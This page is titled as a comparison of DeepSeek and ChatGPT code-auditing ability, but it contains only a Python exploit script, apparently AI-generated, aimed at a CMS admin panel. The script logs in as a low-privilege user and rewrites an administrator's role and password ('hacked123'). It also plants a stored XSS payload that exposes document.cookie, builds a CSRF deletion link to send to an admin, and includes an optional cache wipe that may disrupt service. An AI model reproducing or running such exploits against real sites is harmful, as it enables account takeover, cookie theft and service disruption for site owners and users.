DeepSeek与ChatGPT代码审计能力对比与分析

import requestsfrom urllib.parse import urljoin# 目标配置TARGET_URL = "http://target-site.com/"USERNAME = "lowpriv_user"PASSWORD = "123456"PROXY = {"http": "http://127.0.0.1:8080"}  # 可选Burp代理调试# 初始化会话session = requests.Session()session.proxies = PROXYdef login():    """登录获取权限"""    login_url = urljoin(TARGET_URL, "/Admin/Admin/Login")    data = {        "username": USERNAME,        "login_pwd": PASSWORD    }    resp = session.post(login_url, data=data)    return "登录成功" in resp.textdef horizontal_privilege_escalation():    """水平越权修改其他管理员信息"""    # 假设当前用户ID为2，尝试修改ID为1的管理员    target_id = 1      save_url = urljoin(TARGET_URL, "/Admin/Admin/Save")    data = {        "id": target_id,        "role_id": 1,  # 修改为管理员角色        "mobile": "18888888888",  # 篡改手机号        "login_pwd": "hacked123"  # 修改密码    }    resp = session.post(save_url, data=data)    if "operation_add_success" in resp.text:        print(f"[+] 越权成功！已修改管理员ID {target_id} 的密码为 hacked123")    else:        print("[-] 越权失败")def csrf_exploit():    """CSRF删除文章（需在管理员浏览器触发）"""    # 构造恶意删除链接（假设文章ID=1）    delete_url = urljoin(TARGET_URL, "/Admin/Article/Delete?id=1")    print(f"[*] 将以下URL发送给管理员点击：n{delete_url}")def xss_injection():    """存储型XSS注入文章内容"""    save_url = urljoin(TARGET_URL, "/Admin/Article/Save")    payload = "<script>alert(document.cookie)</script>"    data = {        "title": "XSS测试",        "content": payload,        "is_enable": 1,        "article_class_id": 1    }    resp = session.post(save_url, data=data)    if "operation_add_success" in resp.text:        print("[+] XSS注入成功！查看文章列表触发弹窗")    else:        print("[-] XSS注入失败")def cache_wipe():    """清理模板缓存（需管理员权限）"""    cache_url = urljoin(TARGET_URL, "/Admin/Cache/TemplateUpdate")    resp = session.get(cache_url)    if "operation_update_success" in resp.text:        print("[+] 缓存清理成功，可能导致服务中断")    else:        print("[-] 缓存清理失败")if __name__ == "__main__":    if login():        print("[*] 登录成功，开始漏洞验证")        horizontal_privilege_escalation()        xss_injection()        csrf_exploit()        # cache_wipe()  # 谨慎使用    else:        print("[-] 登录失败，检查凭据")